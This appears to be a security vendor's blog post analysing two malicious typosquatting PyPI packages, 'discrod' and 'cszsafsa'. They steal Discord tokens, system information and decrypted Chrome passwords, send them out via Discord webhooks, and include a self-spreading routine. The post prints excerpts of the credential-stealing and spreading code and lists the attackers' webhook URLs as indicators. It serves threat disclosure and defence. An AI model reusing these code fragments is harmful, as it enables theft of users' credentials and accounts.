Blog

Recently Discovered Supply-chain Worm

7 min.

December 9, 2021

Malicious Python Packages with Self-spreading Capabilities Caught Stealing Browser Credentials, Discord Tokens, and System Information.

The malicious package is able to steal the user’s password from their Chrome browser, along with Discord tokens and system information, and exfiltrate this data via a Discord webhook. Beyond that, the malicious package also has the ability to automatically self-spread by sending itself as an attachment to the victim’s friends on the Discord platform.

Typosquatting attacks, which rely on errors like typos being inputted into  installation commands, are a common way to mislead developers to download the wrong package that can often include malicious functionalities.

This incident was discovered by Checkmarx’s CxDustico group. CxDustico was acquired earlier this year by Checkmarx and is focused on supply-chain security. The group’s Typosquatting attack detection engine has detected the “discrod” PyPi package, masquerading as “discord”, an API wrapper for the popular Discord massaging app. The same user also uploaded the “cszsafsa” package, which turned out to be malicious as well, and with an ability to self-spread and infect the victim’s Discord friends.

Checkmark has alerted PyPi’s security team, and the packages were removed from the package manager. According to PePy, these two packages were downloaded more than 4,000 times before they were removed.

Detailed Report

“discrod” package

 first released in June 2021, the “discrod” package had two functionalities:

  • Stealing Discord tokens
    • A discord token is a string stored in the browser or app local storage upon first login, and enables an automatic re-login. Hence, this string functions as an authorizing key that will enable anyone possessing it to gain extensive access to the relevant Discord account. As such, these are attractive targets to attackers.
    • “discrod” package code iterates over files these tokens might be stored in, and tries to retrieve them by using a simple regular expression matching the token pattern since they are stored as plain text with no encryption.
def tokengrab(ext):

    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')

    paths = {
        'Discord': roaming + 'Discord',
        'Discord Canary': roaming + 'discordcanary',
        'Discord PTB': roaming + 'discordptb',
        'Google Chrome': local + 'GoogleChromeUser DataDefault',
        'Opera': roaming + 'Opera SoftwareOpera Stable',
        'Brave': local + 'BraveSoftwareBrave-BrowserUser DataDefault',
        'Yandex': local + 'YandexYandexBrowserUser DataDefault'
}
  • Stealing password stored in the Chrome browser
    • Contrary to that, the Chrome browser does encrypt the passwords it holds before storing them on disk; therefore, the malicious package code first tries to retrieve the master encryption key.
    • Having done that, the attacker locates the “Login Data” database and queries it for all login details it stores. The attacker then iterates over the results and decrypts the passwords using the master encryption key.
def main2():

    key = get_encryption_key()

    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                           "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()

    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
        
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]

Tokens and passwords found by these processes are then sent to the attacker via Discord webhook.

Some clues in this package’s code indicate that this isn’t the last version the attacker intended to publish, and that there is still work to be done. For example, each time the attacker sends data through the Discord webhook, they do it twice, probably as a redundancy, with what should have been two different webhooks. The problem here is that the second variable that should contain the webhook’s address isn’t defined, which makes the code error out.

Even more interesting are the flags set at the beginning of the code, some unused, implying new features that have yet to be implemented, such as keylogging.

token_grabber = True
ip_grabber_f = True
key_logger = True

The next step we took was searching for other packages this user, 69.-_69,  may have uploaded to PyPi. When doing so, we stumbled upon “cszsafsa”, another malicious package uploaded on September 21, and it seems to be an upgraded version of “discrod”.

“cszsafsa” Package Details

Let’s start from the end. After looking at this package’s code, we realized it strikes a remarkable resemblance to another piece of software we have already seen before, the dTGPG (Discord Token Grabber Payload Generator).

According to the Pastebin page it is found in, dTGPG is a python script used to generate other code in numerous languages with the functionality of a Discord Token Grabber.

The “cszsafsa” package code is largely copied from the code on this Pastebin page. Looking back, it’s pretty clear that the attacker used snippets of this code in the “discrod” package as well.

The first thing we noticed is the fact that this upgraded version can also run on Linux OS, but other than that, there were some new functionaries in addition to the one we saw on the “discrod” package:

If the detected OS is Windows, the code will run two functions: mar() and main().

The mar() function is the same Chrome passwords stealer found on “discrod”, with minor adjustments. The main() function is an improved version of the Discord token grabber with the following additions:

  • Collects system information 
  • Collects Discord Profile information 
  • Exfiltrate tokens, Discord profile, and system information via Discord webhook 
  • A self-spreading mechanism – Sends the file itself to all the victim’s friends on Discord 

The attacker chooses to lure the victim’s friends to run the payload sent to them by claiming it is a DDOS tool and attached to it the python download page

“DDoS tool. python download: https://www.python.org/downloads

But that has no effect because the spreading functionality isn’t activated. The first instruction inside the “spread” function is “return”, which means that the rest of the function code will never be executed, and the infecting massage won’t be sent.

def spread(token, form_data, delay):
    return
    for friend in getFriends(token):
        try:
            chat_id = getChat(token, friend["id"])
            sendMessages(token, chat_id, form_data)
        except Exception as e:
            pass
        sleep(delay)

If the detected OS is Linux, the code will run the “stuff” function which is a Linux modified version with the same functionalities as the Windows main() function, minus the spreading mechanism, for example:

  • Collects system information 
  • Collects Discord Profile information 
  • Exfiltrate tokens, Discord profile, and system information via Discord webhook 

After describing all these features implemented in “discrod” and “cszsafsa”, it is also worth mentioning that the current versions of both packages are still somewhat of a work in progress. Both packages contain mistakes that might prevent them from working properly, such as variables used before their definition, or modules imports that are not included in the package’s requirements.

Conclusion

Supply chain attacks are on the rise. Attackers joining this wave continue to use the techniques that worked in the past such as typosquatting, this is how we discovered these two malicious packages, but they are also looking to expand their arsenal.

An infected open source package with self-spreading capabilities is one of these attempts. Worm functionalities aren’t new by themselves but incorporating then in a supply chain attack to try to infect other developers is a novel concept and we are likely to see more of these in the near future

We have alerted PyPi and these packages were removed from the package manager.

Malicious Packages & Versions

  • discrod
    • 6.9.2
    • 6.9.5
    • 7.1.0
  • cszsafsa
    • 0.0.2
    • 0.0.3
    • 0.0.4
    • 0.0.5
    • 0.0.9

IOC’s

  • hxxps://discord[.]com/api/webhooks/845637931749736498/ewOnnjXCvtX1bzTDPhFEe1fFZ4MFh7t-OydnQ3ob2MxQ_sMq2ZXXNIwA36OWBFjP3vbV
  • hxxps://discord[.]com/api/webhooks/886147895005442058/WKFVu_NhyE3MicZukAaLhaNufV0i4ztebB5K8y1egu4EyDqViyreY1nM6_3jIi2Sf_cw
  • hxxps://discord[.]com/api/webhooks/836482102253191199/OrQcEYYeR4C_QNPKTx2ZGaWfNKZlSD5lxnRkmgf4SE0ofKtXJkiVJfaIE9Jiy6vThSnG
  • hxxps://mehmetcanyildiz[.]com/wp-content/uploads/2020/11/black.png
  • un5t48l3[.]com

Final Words

To help combat the growing problem of similar attacks, Checkmarx will combine its Application Security Platform with Dustico’s behavioral analysis technology to give customers a unified view into the risk, reputation, and behavior of open source packages, resulting in a more comprehensive approach to preventing future supply chain attacks.